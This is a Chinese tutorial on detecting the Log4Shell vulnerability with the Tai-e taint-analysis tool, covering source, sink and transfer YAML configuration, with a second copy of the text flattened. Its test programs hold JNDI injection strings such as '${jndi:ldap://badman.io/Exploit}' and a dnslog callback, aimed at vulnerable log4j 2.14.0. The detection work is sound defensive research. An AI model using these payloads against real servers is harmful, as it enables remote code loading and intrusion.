太阿静态分析检测Log4Shell
字数 2400 2025-08-19 12:42:28

太阿静态分析检测Log4Shell漏洞教学文档

0x01 Tai-e污点分析方案

Java污点分析的两大难点

  1. 别名关系:处理对象引用间的别名问题
  2. 动态反射:处理Java反射机制带来的分析困难

Tai-e解决方案

  1. 基于指针分析的架构

    • 将污点转换成对象
    • 利用指针分析传播污点数据,自然解决别名关系问题
  2. 先进的反射分析

    • 采用2019年提出的、目前推导能力最强的静态反射分析技术

0x02 Log4Shell漏洞原理

2a Lookup机制

  • 日志方法:logger.error(str)
  • ${...}中的特定字符串映射到相应值
  • 示例:
    • logger.error("${java:version}") → "Java version 1.8.0_292"
    • logger.error("${java:os}") → "Windows 10 10.0, architecture: and64-64"

2b JNDI Lookup

  • 格式:${jndi:...}
  • JNDI(Java Naming and Directory Interface)功能:
    • Java平台的标准扩展
    • 通过名称绑定对象的概念
    • 提供"通过名称查找对象"的规范接口
    • 具体实现技术:RMI、DNS、Corba、Ldap等

2c JNDI & LDAP Lookup

  • 格式:${jndi:ldap:...}
  • LDAP(Lightweight Directory Access Protocol):
    • 用于网络上的分布式目录服务访问和管理
  • 攻击流程:
    1. Log4j解析输入为远程地址并发起请求
    2. 服务器响应请求
    3. 恶意payload示例:${jndi:ldap://badman.io/Exploit}

0x03 如何分析Log4Shell

3a 设置source和sink

  • 漏洞类型:注入漏洞(Injection)
  • 分析方法:污点分析(Taint Analysis)

测试程序示例

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Server {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Server.class);
        String input = getInput();
        logger.error(input);
    }
    
    private static String getInput() {
        return "${jndi:ldap://badman.io/Exploit}";
    }
}

Source配置

  • 标记为用户输入
  • 污点数据来源于getInput()方法
  • YAML配置:
    sources:
      - {kind: call, method: "<Main: java.lang.String getInput()>", index: result}
    

Sink配置

  • 对应JNDI Lookup
  • 标记为InitialContext.lookup(String)
  • YAML配置:
    sinks:
      - {method: "<javax.naming.InitialContext: java.lang.Object lookup(java.lang.String)>", index: 0}
    

分析挑战

  1. 跨越33层方法调用
  2. 污点数据多次变换形态
  3. 涉及多种反射API,可能导致数据流追踪中断

3b 自创建测试项目

Maven配置(pom.xml)

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-web</artifactId>
        <version>2.14.0</version>
    </dependency>
</dependencies>

测试类

package org.example;

import org.apache.logging.log4j.*;
import java.lang.String.*;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        String poc = getInput();
        logger.error(poc);
    }
    
    private static String getInput(){
        return "${jndi:ldap://9710ck.dnslog.cn}";
    }
}

3c 配置Tai-e的三个步骤

  1. 配置Source和Sink
  2. 配置污点转移
  3. 配置反射分析

0x04 Tai-e的污点分析配置

4a 基本概念

变量表示

  1. 调用点的变量

    • 结果变量(result):方法调用的结果
    • 基变量(base):方法调用的接收器对象
    • 参数:调用点的参数,从0开始索引
  2. 方法的变量

    • 通过方法的索引来指定参数

字段签名

  • 格式:<CLASS_TYPE: FIELD_TYPE FIELD_NAME>
  • 示例:<org.example.MyClass: java.lang.String info>

4b Source分类

  1. Call Sources

    • 格式:
      - {kind: call, method: METHOD_SIGNATURE, index: INDEX, type: TYPE}
      
    • 当调用METHOD_SIGNATURE时,为调用点的变量创建TYPE类型的污点对象
  2. Parameter Sources

    • 格式:
      - {kind: param, method: METHOD_SIGNATURE, index: INDEX, type: TYPE}
      
    • 用于入口方法等没有显式调用点的情况
  3. Field Sources

    • 格式:
      - {kind: field, field: FIELD_SIGNATURE, type: TYPE}
      
    • 当字段加载到变量时生成污点对象

4c Sink分类

  • 格式:
    sinks:
      - {method: METHOD_SIGNATURE, index: INDEX}
    
  • 示例:
    sinks:
      - {method: "<java.io.File: java.io.File File(java.lang.String)", index: 0}
    

4d 污点转移

为什么需要污点转移

  1. 指针分析能处理的语句有限(New、Assign、Store、Load、Call)
  2. 无法处理如StringBuilder.append(taint)StringBuilder.toString()等方法调用语句

污点转移示例

String taint = getSecret(); // source
StringBuilder sb = new StringBuilder();
sb.append("abc");
sb.append(taint); // taint转移到sb
sb.append("xyz");
String s = sb.toString(); // taint转移到s
leak(s); // sink

YAML配置

transfers:
  - {method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base}
  - {method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result}

污点转移概念

  • 由方法调用base.foo(a0, a1, ..., an)引起
  • 五种转移情况:
    1. 污点从参数转移到结果
    2. 污点从参数转移到base
    3. 污点从base转移到结果
    4. 污点从base转移到参数
    5. 污点从参数转移到另一个参数

0x05 安装太阿并检测Log4Shell

5a 安装太阿

环境要求

  • IntelliJ IDEA 2023.1+
  • Amazon Corretto version 17.0.8+
  • 下载java-benchmarks子模块

Tai-e主类配置项

  1. 程序选项

    • 类路径(-cp/--class-path)
    • 应用程序类路径(-acp/--app-class-path)
    • 主类(-m/--main-class)
    • 输入类(--input-classes)
    • Java版本(-java)
  2. 分析选项

    • 提前构建IR(--pre-build-ir)
    • 分析范围(scope):APP/ALL/Reachable
    • 自定义分析选项
  3. 其他选项

    • 帮助(-h/--help)
    • 世界缓存模式(-wc/--world-cache-mode)
    • 指定输出目录(--output-dir)

命令行示例

java -jar tai-e-all.jar -cp foo.jar -cp "my program/dir/" -m baz.Main -java 8 -a "pta=cs:2-type;time-limit:60;"

5b 配置并检测

  1. 找到Main class:pascal.taie.Main
  2. 配置运行参数:--options-file java-benchmarks/log4j/2.14.0/options.yml

运行结果

  • 查看output/tai-e.log
  • 示例输出:
    Detected 1 taint flow(s):
    TaintFlow{
      <Server: void main(java.lang.String[])>[12@L8] temp$4 = invokestatic Server.getInput()/result 
      -> 
      <org.apache.logging.log4j.core.net.JndiManager: java.lang.Object lookup(java.lang.String)>[1@L172] $r3 = invokeinterface $r2.lookup(name)/0
    }
    

可视化污点流

  1. 安装Graphviz:
    brew install graphviz
    
  2. 转换.dot文件为svg:
    dot -Tsvg -o taint-flow-graph.svg taint-flow-graph.dot
    

总结

通过Tai-e静态分析工具,我们可以有效地检测Log4Shell漏洞。关键在于:

  1. 正确配置source和sink
  2. 处理污点转移问题
  3. 理解指针分析和污点分析的关系
  4. 合理配置Tai-e的运行参数

这种方法不仅适用于Log4Shell,也可推广到其他Java注入漏洞的静态分析中。

太阿静态分析检测Log4Shell漏洞教学文档 0x01 Tai-e污点分析方案 Java污点分析的两大难点 别名关系 :处理对象引用间的别名问题 动态反射 :处理Java反射机制带来的分析困难 Tai-e解决方案 基于指针分析的架构 : 将污点转换成对象 利用指针分析传播污点数据,自然解决别名关系问题 先进的反射分析 : 采用2019年提出的、目前推导能力最强的静态反射分析技术 0x02 Log4Shell漏洞原理 2a Lookup机制 日志方法: logger.error(str) 将 ${...} 中的特定字符串映射到相应值 示例: logger.error("${java:version}") → "Java version 1.8.0_ 292" logger.error("${java:os}") → "Windows 10 10.0, architecture: and64-64" 2b JNDI Lookup 格式: ${jndi:...} JNDI(Java Naming and Directory Interface)功能: Java平台的标准扩展 通过名称绑定对象的概念 提供"通过名称查找对象"的规范接口 具体实现技术:RMI、DNS、Corba、Ldap等 2c JNDI & LDAP Lookup 格式: ${jndi:ldap:...} LDAP(Lightweight Directory Access Protocol): 用于网络上的分布式目录服务访问和管理 攻击流程: Log4j解析输入为远程地址并发起请求 服务器响应请求 恶意payload示例: ${jndi:ldap://badman.io/Exploit} 0x03 如何分析Log4Shell 3a 设置source和sink 漏洞类型 :注入漏洞(Injection) 分析方法 :污点分析(Taint Analysis) 测试程序示例 Source配置 标记为用户输入 污点数据来源于 getInput() 方法 YAML配置: Sink配置 对应JNDI Lookup 标记为 InitialContext.lookup(String) YAML配置: 分析挑战 跨越33层方法调用 污点数据多次变换形态 涉及多种反射API,可能导致数据流追踪中断 3b 自创建测试项目 Maven配置(pom.xml) 测试类 3c 配置Tai-e的三个步骤 配置Source和Sink 配置污点转移 配置反射分析 0x04 Tai-e的污点分析配置 4a 基本概念 变量表示 调用点的变量 : 结果变量(result):方法调用的结果 基变量(base):方法调用的接收器对象 参数:调用点的参数,从0开始索引 方法的变量 : 通过方法的索引来指定参数 字段签名 格式: <CLASS_TYPE: FIELD_TYPE FIELD_NAME> 示例: <org.example.MyClass: java.lang.String info> 4b Source分类 Call Sources : 格式: 当调用 METHOD_SIGNATURE 时,为调用点的变量创建 TYPE 类型的污点对象 Parameter Sources : 格式: 用于入口方法等没有显式调用点的情况 Field Sources : 格式: 当字段加载到变量时生成污点对象 4c Sink分类 格式: 示例: 4d 污点转移 为什么需要污点转移 指针分析能处理的语句有限(New、Assign、Store、Load、Call) 无法处理如 StringBuilder.append(taint) 、 StringBuilder.toString() 等方法调用语句 污点转移示例 YAML配置 污点转移概念 由方法调用 base.foo(a0, a1, ..., an) 引起 五种转移情况: 污点从参数转移到结果 污点从参数转移到base 污点从base转移到结果 污点从base转移到参数 污点从参数转移到另一个参数 0x05 安装太阿并检测Log4Shell 5a 安装太阿 环境要求 IntelliJ IDEA 2023.1+ Amazon Corretto version 17.0.8+ 下载java-benchmarks子模块 Tai-e主类配置项 程序选项 : 类路径(-cp/--class-path) 应用程序类路径(-acp/--app-class-path) 主类(-m/--main-class) 输入类(--input-classes) Java版本(-java) 分析选项 : 提前构建IR(--pre-build-ir) 分析范围(scope):APP/ALL/Reachable 自定义分析选项 其他选项 : 帮助(-h/--help) 世界缓存模式(-wc/--world-cache-mode) 指定输出目录(--output-dir) 命令行示例 5b 配置并检测 找到Main class: pascal.taie.Main 配置运行参数: --options-file java-benchmarks/log4j/2.14.0/options.yml 运行结果 查看 output/tai-e.log 示例输出: 可视化污点流 安装Graphviz: 转换.dot文件为svg: 总结 通过Tai-e静态分析工具,我们可以有效地检测Log4Shell漏洞。关键在于: 正确配置source和sink 处理污点转移问题 理解指针分析和污点分析的关系 合理配置Tai-e的运行参数 这种方法不仅适用于Log4Shell,也可推广到其他Java注入漏洞的静态分析中。